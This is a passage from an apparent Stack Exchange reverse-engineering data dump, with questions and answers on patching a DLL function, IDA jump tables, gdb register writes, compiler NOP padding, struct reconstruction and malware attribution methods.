  <row Id="4072" PostTypeId="1" CreationDate="2014-04-15T07:45:45.100" Score="8" ViewCount="3423" Body="&lt;p&gt;I disassembled a misbehaving dll with IDA and identified the faulty code. Now I want to go one step further and replace the function with a self-written, hopefully less faulty one. The dll I'm talking about is written in C/C++ and the function in question is not exported.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would be a practicable way to overwrite/replace this function along with relocation information and all? Everything I found on the net was about rebuilding MSIL dll's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess would be to write a new function in assembler, assemble it, create a&#xA;new section in the dll, put the code there and somehow introduce a call to the new&#xA;function at the beginning of the original implementation. But I don't know these&#xA;steps would exactly look or how to merge the relocation info etc.&#xA;Or is there a better solution?&#xA;Are there any primers or tools to help me get such a thing done?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Meanwhile I found articles about similar topics&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/12532/Inject-your-code-to-a-Portable-Executable-file&quot; rel=&quot;nofollow&quot;&gt;Injecting code into a PE file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/24417/Portable-Executable-P-E-Code-Injection-Injecting-a&quot; rel=&quot;nofollow&quot;&gt;Injecting a C compiled application into a PE file&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3353" LastEditorUserId="3353" LastEditDate="2014-04-16T10:59:25.147" LastActivityDate="2014-04-17T14:31:56.533" Title="How to modify/replace a non exported function in a native code dll" Tags="|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4073" PostTypeId="2" ParentId="4072" CreationDate="2014-04-15T08:20:34.400" Score="11" Body="&lt;p&gt;I think you have 4 options here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Overwrite the function in assembler using OllyDbg, IDA Pro or any other tool. However, you may not have enough space.&lt;/li&gt;&#xA;&lt;li&gt;Insert a jmp to another place where you have enough space to do this. You will likely need to find for &quot;holes&quot; between sections where you can put your code.&lt;/li&gt;&#xA;&lt;li&gt;Add a new section to the PE/ELF file, mark it as executable and then put a jmp in the function you want to overwrite to go to your new code, that will be in the new section. You can make it as big as you need, as long as you rebuild correctly the PE/ELF header.&lt;/li&gt;&#xA;&lt;li&gt;The way I like the most: overwrite the function with the assembly code to load another library, resolve a function exported by this library and call this function. The other library would be one that you can write in the high level language you prefer as long as you take care of the calling conventions, etc...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The option #4 is the best because it allows you to write in high level code your logic and you only need to write in assembler the LoadLibrary (or dlopen), GetProcAddress and the final calling code. And only once. Then you can modify as many times as you want the library with your code.&lt;/p&gt;&#xA;" OwnerUserId="111" LastEditorUserId="111" LastEditDate="2014-04-17T07:46:35.737" LastActivityDate="2014-04-17T07:46:35.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4074" PostTypeId="1" AcceptedAnswerId="4081" CreationDate="2014-04-15T09:51:15.820" Score="7" ViewCount="7317" Body="&lt;p&gt;I'm disassembling a function that seems to use a switch statement, resulting in an indexed indirect jump, in two different places (same function!):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0005FA58                 mov     al, [eax+112h]&#xA;0005FA5E                 cmp     al, 4&#xA;0005FA60                 ja      loc_5FBED&#xA;0005FA66                 and     eax, 0FFh&#xA;0005FA6B                 jmp     cs:off_5F98C[eax*4]&#xA;0005FA73&#xA;&#xA;&#xA;00060011                 mov     al, byte ptr unk_A4E30[eax]&#xA;00060017                 cmp     al, 3&#xA;00060019                 ja      short loc_60053&#xA;0006001B                 and     eax, 0FFh&#xA;00060020                 jmp     cs:off_5F9A0[eax*4]&#xA;&#xA;0005F98C off_5F98C       dd offset loc_5FBCC, offset loc_5FA73, offset loc_5FAC5, offset loc_5FB14, offset loc_5FB66&#xA;0005F98C                                         ; DATA XREF: FunctionStart+BB&#xA;0005F9A0 off_5F9A0       dd offset loc_60049, offset loc_6003E, offset loc_60031, offset loc_60028&#xA;0005F9A0                                         ; DATA XREF: FunctionStart+670&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first jump table has 5 entries, the second one 4. Unfortunately, the compiler placed them directly behind each other in memory. This seems to confuse IDA when calculating the graph connections for those nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ld8y.png&quot; alt=&quot;Graph for 1st jump table&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit, as the the wording of the question was probably misleading&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graph node shows 9 outgoing connections. 5 of them are true connections, the next 4 are not - they belong to a different jump table that happens to be directly after this one in memory. I'd like to tell IDA &quot;This jump table has 5 valid entries, ignore the other ones when creating the graph node&quot;. Is there any way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The original question was:&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The first jump table has 9 connections, 4 of which don't belong to&#xA;  &lt;em&gt;that&lt;/em&gt; statement. (The second one, ommited here for brevity, has only one connection). Is there any way to tell IDA to remove the extra&#xA;  connections from the first table, and possibly create new connections&#xA;  from the 2nd table to the corresponding targets?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I already tried defining the jump tables as arrays, then undefine the function and re-define it as code, but that didn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I'm using IDA 5.0, as this is a hobby project, and i don't want to spend several hundred bucks on something i'll use a few times a year).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="4154" LastEditDate="2014-04-15T17:48:28.680" LastActivityDate="2014-04-15T22:39:43.607" Title="Any way to fix misinterpreted case jump tables in Ida Pro?" Tags="|ida|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4075" PostTypeId="2" ParentId="4074" CreationDate="2014-04-15T10:31:41.067" Score="3" Body="&lt;p&gt;I'm not quite sure if I understand your problem, but how I configure jump tables is:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Convert the whole table to db bytes, non-array, one byte per line.  &lt;/li&gt;&#xA;&lt;li&gt;Set up the top element to be 2 bytes (dw) and then &lt;kbd&gt;O&lt;/kbd&gt;.  &lt;/li&gt;&#xA;&lt;li&gt;Highlight from the top element down to the last one and configure as array (*) but with the array checkbox unchecked.  &lt;/li&gt;&#xA;&lt;li&gt;If there is a second table immediately after the first then do the same for that.   &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;:&#xA;I've been a bit too wordy.  What I think you need is to separate the jumps into one per line, and you do that with the array command {*} and uncheck all the checkboxes. And my experience with graph view is that it doesn't know how to handle jump tables, no matter how you configure them.&lt;/p&gt;&#xA;" OwnerUserId="4362" LastEditorUserId="53" LastEditDate="2014-04-15T10:37:31.263" LastActivityDate="2014-04-15T10:37:31.263" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4076" PostTypeId="1" CreationDate="2014-04-15T12:51:49.250" Score="3" ViewCount="3335" Body="&lt;p&gt;I'm debugging an ELF 64-bit binary using &lt;code&gt;gdb&lt;/code&gt; and I notice that the &lt;code&gt;%fs&lt;/code&gt; register is set to &lt;code&gt;0x63&lt;/code&gt;. For some testing that I'd like to perform I'd like to set the &lt;code&gt;%fs&lt;/code&gt; register to &lt;code&gt;0x00&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing a &lt;code&gt;set $fs=0x0&lt;/code&gt; but the value wouldn't change. In some cases I got a:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Couldn't write registers: Input/output error.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way I could set the value for the &lt;code&gt;%fs&lt;/code&gt; register? I'm also open to modifying the binary, adding inline assembly to the source, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt; : Currently, I'm trying this out by attaching to a process rather than running it from within &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A screenshot to illustrate the problem :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sxAdI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorUserId="53" LastEditDate="2014-04-15T19:15:12.343" LastActivityDate="2014-04-15T19:15:12.343" Title="gdb setting fs register on Linux" Tags="|linux|gdb|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4077" PostTypeId="1" AcceptedAnswerId="4078" CreationDate="2014-04-15T13:06:03.097" Score="2" ViewCount="865" Body="&lt;p&gt;I have a 16 bit VBX file for Visual Basic 3 which I'd like to disassembly. Which program can analyze it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried IDA Free, but it seems only OCX are supported.&lt;/p&gt;&#xA;" OwnerUserId="3355" LastEditorUserId="3355" LastEditDate="2014-04-15T13:14:17.813" LastActivityDate="2017-01-09T23:08:22.097" Title="How to disassemble VBX files?" Tags="|disassembly|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4078" PostTypeId="2" ParentId="4077" CreationDate="2014-04-15T14:12:18.283" Score="3" Body="&lt;p&gt;The only tool I'm aware of that can handle VB3 stuff is &lt;a href=&quot;http://vbdis4.angelfire.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dodi's Visual Basic 3/4 Decompiler&lt;/a&gt;. You might also look at this basically identical &lt;a href=&quot;https://stackoverflow.com/questions/3983709/vb3-decompiler&quot;&gt;stackoverflow question&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-04-15T14:24:37.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4079" PostTypeId="2" ParentId="4076" CreationDate="2014-04-15T15:09:49.197" Score="2" Body="&lt;p&gt;Low 2 bits have to be set or you will get an &lt;code&gt;EIO&lt;/code&gt; error. Only the low 16 bits manage to get set anyways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippet from &lt;code&gt;arch/x86_64/kernel/ptrace.c&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;case offsetof(struct user_regs_struct,fs):&#xA;    if (value &amp;amp;&amp;amp; (value &amp;amp; 3) != 3)&#xA;        return -EIO;&#xA;    child-&amp;gt;thread.fsindex = value &amp;amp; 0xffff; &#xA;    return 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That said, setting to &lt;code&gt;0x00&lt;/code&gt; shouldn't be problematic per the code and per my testing.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) set $fs=3&#xA;(gdb) info register fs&#xA;fs             0x3      3&#xA;(gdb) set $fs=1&#xA;Couldn't write registers: Input/output error.&#xA;(gdb) set $fs=0&#xA;(gdb) info register fs&#xA;fs             0x0      0&#xA;(gdb) set $fs=0xffffffff&#xA;(gdb) info register fs&#xA;fs             0xffff   65535&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1481" LastEditorUserId="53" LastEditDate="2014-04-15T19:06:07.327" LastActivityDate="2014-04-15T19:06:07.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4081" PostTypeId="2" ParentId="4074" CreationDate="2014-04-15T22:39:43.607" Score="7" Body="&lt;p&gt;It's possible, but not in the freeware version:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Put cursor on the &lt;code&gt;jmp&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Edit-&gt;Other-&gt;Specify switch idiom...&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-04-15T22:39:43.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4082" PostTypeId="1" AcceptedAnswerId="4089" CreationDate="2014-04-16T01:36:27.100" Score="2" ViewCount="513" Body="&lt;p&gt;I put the whole question in 2 images. From research, it seems I need to use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;R&lt;/kbd&gt;, but I don't think that's what I need since I couldn't lower the number a bit further in order to reach 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the problem is that I'm not creating the &lt;code&gt;structs&lt;/code&gt; properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I'd like to add a few guesses the number went down to 16072 because the array of PlayerPointers is 4 bytes per element. So it went down &lt;code&gt;64288 / 4 = 16072&lt;/code&gt;.&lt;/strong&gt;&#xA;&lt;br&gt;&#xA;I still don't know what that means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q4K9S.png&quot; alt=&quot;problem 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2odeD.png&quot; alt=&quot;asm code&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ASM Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:0040E040 ; =============== S U B R O U T I N E =======================================&#xA;.text:0040E040&#xA;.text:0040E040&#xA;.text:0040E040 ; struct_ARENA *__thiscall code(struct_PLAYER *player, const void *buf, unsigned int len, int a4)&#xA;.text:0040E040 sub_40E040      proc near               &#xA;.text:0040E040                                         &#xA;.text:0040E040&#xA;.text:0040E040 buf             = dword ptr  4&#xA;.text:0040E040 len             = dword ptr  8&#xA;.text:0040E040 a4              = dword ptr  0Ch&#xA;.text:0040E040&#xA;.text:0040E040                 push    ebx&#xA;.text:0040E041                 push    esi&#xA;.text:0040E042                 mov     esi, ecx&#xA;.text:0040E044                 mov     eax, [esi+1Ch]&#xA;.text:0040E047                 test    eax, eax&#xA;.text:0040E049                 jz      short loc_40E093&#xA;.text:0040E04B                 mov     ecx, [eax+0FF0Ch]&#xA;.text:0040E051                 xor     ebx, ebx&#xA;.text:0040E053                 test    ecx, ecx&#xA;.text:0040E055                 jle     short loc_40E093&#xA;.text:0040E057                 push    edi&#xA;.text:0040E058                 push    ebp&#xA;.text:0040E059                 mov     ebp, [esp+10h+a4]&#xA;.text:0040E05D                 mov     edi, 0FB20h&#xA;.text:0040E062&#xA;.text:0040E062 loc_40E062:                             &#xA;.text:0040E062                 mov     eax, [edi+eax]&#xA;.text:0040E065                 cmp     eax, esi&#xA;.text:0040E067                 jz      short loc_40E082&#xA;.text:0040E069                 mov     ecx, [eax+38h]&#xA;.text:0040E06C                 test    ecx, ecx&#xA;.text:0040E06E                 jnz     short loc_40E082&#xA;.text:0040E070                 mov     ecx, [esp+10h+len]&#xA;.text:0040E074                 mov     edx, [esp+10h+buf]&#xA;.text:0040E078                 push    ebp             ; a4&#xA;.text:0040E079                 push    ecx             ; len&#xA;.text:0040E07A                 push    edx             ; buf&#xA;.text:0040E07B                 mov     ecx, eax        ; this&#xA;.text:0040E07D                 call    SendPlayerReliablePacket&#xA;.text:0040E082&#xA;.text:0040E082 loc_40E082:                             &#xA;.text:0040E082                                         &#xA;.text:0040E082                 mov     eax, [esi+1Ch]&#xA;.text:0040E085                 inc     ebx&#xA;.text:0040E086                 add     edi, 4&#xA;.text:0040E089                 cmp     ebx, [eax+0FF0Ch]&#xA;.text:0040E08F                 jl      short loc_40E062&#xA;.text:0040E091                 pop     ebp&#xA;.text:0040E092                 pop     edi&#xA;.text:0040E093&#xA;.text:0040E093 loc_40E093:                            &#xA;.text:0040E093                                         &#xA;.text:0040E093                 pop     esi&#xA;.text:0040E094                 pop     ebx&#xA;.text:0040E095                 retn    0Ch&#xA;.text:0040E095 sub_40E040      endp&#xA;.text:0040E095 ; ---------------------------------------------------------------------------&#xA;.text:0040E098                 align 10h&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is one that looks better only 1 struct instead of 2 but still same problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/89F9H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the amount of players who are not watching but playing the game.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int __thiscall TotalPlayingPlayers(struct_ARENA *arena)&#xA;{&#xA;  int ArenaPlayerCount; // edx@1&#xA;  int result; // eax@1&#xA;  struct_PLAYER **eachPlayer; // ecx@2&#xA;&#xA;  ArenaPlayerCount = arena-&amp;gt;ArenaPlayerCount;&#xA;  result = 0;&#xA;  if ( ArenaPlayerCount &amp;gt; 0 )&#xA;  {&#xA;    eachPlayer = arena-&amp;gt;playerPointersForSomething;// How could this be like this? this would only hold 251 4 bytes not enough for all players.&#xA;    do&#xA;    {&#xA;      if ( (*eachPlayer)-&amp;gt;Ship != 8 )&#xA;        ++result;&#xA;      ++eachPlayer;                             // This means it really has to go up by 4 bytes the small 251 array.&#xA;      --ArenaPlayerCount;&#xA;    }&#xA;    while ( ArenaPlayerCount );&#xA;  }&#xA;  return result;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a4W5E.png&quot; alt=&quot;here is image of above&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-04-17T15:41:43.340" LastActivityDate="2014-04-17T15:41:43.340" Title="IDA PRO Struct Pointer Counter big number not starting from address offset 0, Lowers a bit slightly but not all the way to 0" Tags="|ida|struct|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4083" PostTypeId="1" CreationDate="2014-04-16T10:21:47.507" Score="1" ViewCount="245" Body="&lt;p&gt;I have an application which I'm sure is malicious. But I'm also sure that&#xA;it's db files are genuine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I don't want to dig in and debug the disassembly of it. but I want&#xA;to somehow read from these files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there's a field of reversing of files on it's own, but I haven't gotten much to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I wanted to know if there's a way to find out how to read the files, other than digging&#xA;through the disassembled code &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2641" LastActivityDate="2014-04-16T22:01:27.747" Title="Identifying the type of a DB file" Tags="|file-format|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4084" PostTypeId="1" AcceptedAnswerId="4085" CreationDate="2014-04-16T15:07:06.240" Score="5" ViewCount="5157" Body="&lt;p&gt;The test platform is on Linux 32bit, x86. &#xA;So basically I wrote a simple C program like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void main()&#xA;{&#xA;        double a = 10.0;&#xA;        printf(&quot;hello world %f\n&quot;, a);&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use gcc to compile to into ELF binary, and use objdump to disassemble it. I solve the reference to .rodata section, and refine the asm code in this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;extern  printf&#xA;section .rodata&#xA;&#xA;S_80484d0   db 0x68&#xA;db 0x65&#xA;  db 0x6c&#xA;db 0x6c&#xA;db 0x6f&#xA;db 0x20&#xA;db 0x77&#xA;db 0x6f&#xA;db 0x72&#xA;db 0x6c&#xA;db 0x64&#xA;db 0x20&#xA;db 0x25&#xA;db 0x66&#xA;db 0x0a&#xA;&#xA;&#xA;S_80484f0 db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x40&#xA;&#xA;section .text&#xA;global main&#xA;main:&#xA;push   ebp&#xA;mov    ebp,esp&#xA;and    esp,0xfffffff0&#xA;sub    esp,0x20&#xA;fld    qword [S_80484f0]&#xA;fstp   QWORD [esp+0x18]&#xA;fld    QWORD [esp+0x18]&#xA;fstp   QWORD [esp+0x4] &#xA;mov    DWORD [esp],S_80484d0&#xA;call   printf&#xA;leave&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I re-compile this asm code to get a new ELF binary, and comparing the .text section of these two binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the confusing thing: The only different I can find is that there are more leading nop in front of the main function like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;new ELF binary leading nop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4CiRE.png&quot; alt=&quot;new ELF binary&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;new ELF binary ending nop:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nNKht.png&quot; alt=&quot;new elf binary 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;old ELF binary:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/goaAd.png&quot; alt=&quot;old ELF binary&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I don't think it is kinda of &quot;alignment&quot; issue, because there are just too much nop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's more, when I change the original code into just a simple helloworld code(without double number a), then basically there is &lt;strong&gt;no difference&lt;/strong&gt; between these two ELF binaries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone give me some help on why there are so many nop generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you &lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2014-04-16T19:44:22.803" Title="Why ther are some many padding/leading nop instructions in my binary code?" Tags="|disassembly|assembly|elf|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4085" PostTypeId="2" ParentId="4084" CreationDate="2014-04-16T19:39:02.367" Score="10" Body="&lt;p&gt;&lt;strong&gt;Alignment.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that all of the NOPs end (and the next function begins) at ...C0, ...F0. The compiler and/or linker inserted padding bytes so that the functions begin at 0x10 aligned addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different compilers / linkers will use different values for these bytes.  I've seen 90 (nop), CC (int3), as well as multi-byte NOPs that exactly fill the space between the functions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should check out this great answer on the same question over at &lt;a href=&quot;https://stackoverflow.com/a/7912617/119527&quot;&gt;Stack Overflow&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, this is done for performance reasons, as processors typically fetch instructions in 16- or 32-byte strides, so it makes sense to have functions begin at one of these boundaries.&lt;/p&gt;&#xA;" OwnerUserId="1655" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-04-16T19:44:22.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4086" PostTypeId="1" CreationDate="2014-04-16T20:07:05.417" Score="5" ViewCount="367" Body="&lt;p&gt;I am curious to know about how researchers can know when different malware are related. for example: Stuxnet, Flame or Duqu, are told to be written by the same group. Does anyone know how they figure that out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read some articles but they weren't very specific. They only said they were similar. Are there signatures that you can tell, or same style or language or what?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are signs that 2 malware are related or come from same people???&lt;/p&gt;&#xA;" OwnerUserId="4387" LastEditorUserId="53" LastEditDate="2014-04-16T20:54:59.500" LastActivityDate="2014-04-17T08:06:40.683" Title="How can we determine that malware are related?" Tags="|malware|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4087" PostTypeId="2" ParentId="4086" CreationDate="2014-04-16T21:04:44.807" Score="3" Body="&lt;p&gt;Many people use tools like &lt;a href=&quot;http://plusvic.github.io/yara/&quot; rel=&quot;nofollow&quot;&gt;Yara&lt;/a&gt; and &lt;a href=&quot;http://ssdeep.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;ssdeep&lt;/a&gt; to find commonalities among binaries. Typically they are looking for known code reuse, which would indicate that the malware may have shared some or all of the same source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I write a function to inject shellcode into a process, it will likely differ at least slightly from someone else attempting the same task. So if a researcher finds my compiled code in several binaries, it's reasonable to suspect my code was reused.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2014-04-16T21:04:44.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4088" PostTypeId="2" ParentId="4083" CreationDate="2014-04-16T22:01:27.747" Score="2" Body="&lt;p&gt;Not enough information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It may be a &lt;em&gt;common&lt;/em&gt; file type, shared by many applications, and in that case Googling the file extension is sometimes enough. Unfortunately, &quot;.db&quot; is an extremely generic extension (compare, for example, &quot;.txt&quot; versus &quot;.wp5&quot;). In this particular case, you inspect the file with a hex viewer and try to find documentation based on the very first couple of bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the data format is known, chances are someone already wrote a converter for it. But before you can try one of these, you must know beyond a shadow of a doubt what kind of file it is; &quot;oh right, then it's a .db file&quot; is not enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a &lt;em&gt;private&lt;/em&gt; format (or it's so old/new/quaint/rare that you can't find anything useful on the 'net), you will have to write something yourself to (1) read out useful structures, and (2) write out its data in a format useful to &lt;em&gt;you&lt;/em&gt;. Recognizing what parts are useful and what's not is something only you can do, as (apparently) you have an inkling of what it should contain.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2014-04-16T22:01:27.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4089" PostTypeId="2" ParentId="4082" CreationDate="2014-04-17T07:17:40.997" Score="2" Body="&lt;p&gt;It seems to me that you're wrong if you assume v7 is an index - v6 is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The original function was probably something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int v6=0;&#xA;while (v6 &amp;lt; result-&amp;gt;ArenaSubStruct.ArenaPlayerCount) {   // &amp;lt;-- what is a if/do while in your disassembly was originally a while&#xA;    eachPlayer = result-&amp;gt;ArenaSubStruct.PlayerPointers[v6];&#xA;    if (eachPlayer != player)                            // &amp;lt;-- v4 and player are identical&#xA;        SendPlayerReliablePacket(eachPlayer, buf, len, a4);&#xA;    ++v6;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To optimize this, the compiler introduced v7 as a pointer to the array element corresponding to the loop variable. This way, the processor just needs to access a pointer (and increment the pointer by the size of the int it points to) instead of a multiplication and add per loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int v6=0;&#xA;int v7=offsetof(*result, ArenaSubStruct.PlayerPointers);&#xA;while (v6 &amp;lt; result-&amp;gt;ArenaSubStruct.ArenaPlayerCount) {&#xA;    eachPlayer = *(int *)((char *)result+v7)&#xA;    if (eachPlayer != player)&#xA;        SendPlayerReliablePacket(eachPlayer, buf, len, a4);&#xA;    v6++;&#xA;    v7+=sizeof(ArenaSubStruct.PlayerPointers[0]);   // which is an it so sizeof returns 4&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So your v7 is not an index into the PlayerPointers structure that should be brought down to 0, instead, it's an &quot;index&quot; into the ArenaSubStruct structure, that starts with the offset of PlayerPointers within ArenaSubStruct. You can't get that back nicely in IDA, because there's no nice C representation of what the compiler did - look at the ugly type casts i had to do.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2014-04-17T07:17:40.997" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4090" PostTypeId="2" ParentId="4086" CreationDate="2014-04-17T08:06:40.683" Score="6" Body="&lt;p&gt;Attribution is hard. However, you can see some specific snippets of code (in assembly) here and there that tells you that, possibly, the code was written by the same team. I, as for myself, consider graph matching a very trusted approach to determine if a malware is created by the same team and is what I typically use for this purpose.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, graph matching works like this: if, once the files are completely unpacked, 2 or more binaries have a very similar call graph and very similar control flow graphs with only a few functions differing or only some basic blocks in one specific function or just some instructions in, say, one basic block somewhere, the files are likely created by the same team or author and is, likely, a new version of the same piece of software. Unless we're talking about virtual machines created with tools like &lt;a href=&quot;http://www.oreans.com/themida.php&quot;&gt;Themida&lt;/a&gt; or &lt;a href=&quot;http://vmpsoft.com/&quot;&gt;VMProtect&lt;/a&gt;, this is commonly true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the idea inspiring the (not public any more) product VxClass created by Zynamics or the &lt;a href=&quot;https://camal.coseinc.com&quot;&gt;CAMAL&lt;/a&gt; clustering engine I wrote myself (examples &lt;a 